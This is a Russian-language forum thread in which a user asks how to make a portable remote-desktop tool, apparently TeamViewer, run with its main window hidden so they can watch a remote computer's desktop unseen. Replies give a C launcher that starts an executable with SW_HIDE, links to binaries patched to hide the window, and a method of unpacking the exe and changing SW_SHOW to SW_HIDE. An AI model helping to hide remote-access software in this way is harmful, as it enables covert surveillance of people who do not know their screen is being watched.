Есть Portable прога имеет один ЕХЕ файл,Как скрыть главное окно программы при её запуске !! что-бы прога запускалась скрытно в фоновом режиме?
Я не дапонял куда это" ShellExecute(hWnd,TEXT("open"),TEXT("тут пишеш путь"), NULL, NULL,SW_HIDE);" вписать??? Попробую так...Вот программа >>> http://s40.radikal.ru/i088/0903/73/3f324e6fbaed.jpg Когда её запускаешь ,Появляется главное окно этой программы !! Как сделать что-бы она работала Но главного окна на рабочем столе не было видно? Я думаю в самом ехе файле что-то надо изменить....А чем его открыть,и что там менять понятия не имею...Помогите как и что делать?
agentspy. Если портэйбл делал ты, то тебе нужно добавить небольшой код в главное приложение и снова запортить. Либо выкладывай прогу, разберемся.
Ему отладчик(ollydbg, softice, ida) нужен со знанием ассемблера и winapi ^_^ Тс, это уже готовый бинарник, его изменить можно только на низком уровне... Исходный код никак нельзя поправить/изменить. Проще написать отдельный лоадер на c/delphi
Пример : Code: #include<windows.h> #include<stdio.h> BOOL CALLBACK EnumWndProc(HWND hwnd, LPARAM lParam) { if(GetWindowThreadProcessId(hwnd, NULL) == GetCurrentThreadId()) { *(HWND*)lParam = hwnd; return FALSE; } return TRUE; } int main() { char fName[255]; char fDir[255]; char tmp[] = "open"; int flag; flag = 0; HWND hWnd; EnumWindows(EnumWndProc, (LPARAM)&hWnd); while(1) { printf("New apl? 1-yes, 0-no: "); scanf("%d",&flag); if(flag==0) { break; } if(flag==1) { printf("Input file name: "); scanf("%s",&fName); GetCurrentDirectoryA(sizeof(fDir),(LPSTR)fDir); strcat(fDir,"\\"); strcat(fDir,fName); printf("%s",fDir); ShellExecuteA(hWnd,(LPCSTR)tmp,(LPCSTR)fDir, NULL, NULL, SW_HIDE); printf("\r\n"); } } return 0; }
agentspy. Если портэйбл делал ты, то тебе нужно добавить небольшой код в главное приложение и снова запортить. Либо выкладывай прогу, разберемся. ---------------------------------------------------------------------------------------------------------------------- Да если бы сам я вообще когда заглядываю в ехе файл через ольгу мне Страшно((( Я сюда прогу выложил http://depositfiles.com/files/70n4ld2d6 гляньте кто...можно что-нить сделать ,Если нет то кто возмётся написать типо такой же проги Функция управления удалённым компутером мне в принципе не нужна ,Только смотреть за ним !!т.е видеть удалённый рабочий стол
ТС, в общем показ главного окна я убрал, но как ты будешь узнавать пароль? ведь он каждый раз разный и пишется именно в этом окне... вобщем вот http://multi-up.com/71463
ТС, в общем показ главного окна я убрал, но как ты будешь узнавать пароль? ведь он каждый раз разный и пишется именно в этом окне... вобщем вот http://multi-up.com/71463 s0l_ir0n. БРАВО Очень благодарю!!! +++++ всё сделано Супер Окна нет.
ТС, вот распакованый полностью ТимВью (портабла) http://rapidshare.com/files/212974252/---.rar.html s0l_ir0n, эээ... если не секрет: как убрал прорисовку окна, если сам ехе запакован 4 раза? =\ Если распаковывал, то чем, и как назад паковал кучи ехе/dll
Распаковывается в темп папку,потом в основном файле в функции ShowWindow,SW_SHOW меняется на SW_HIDE.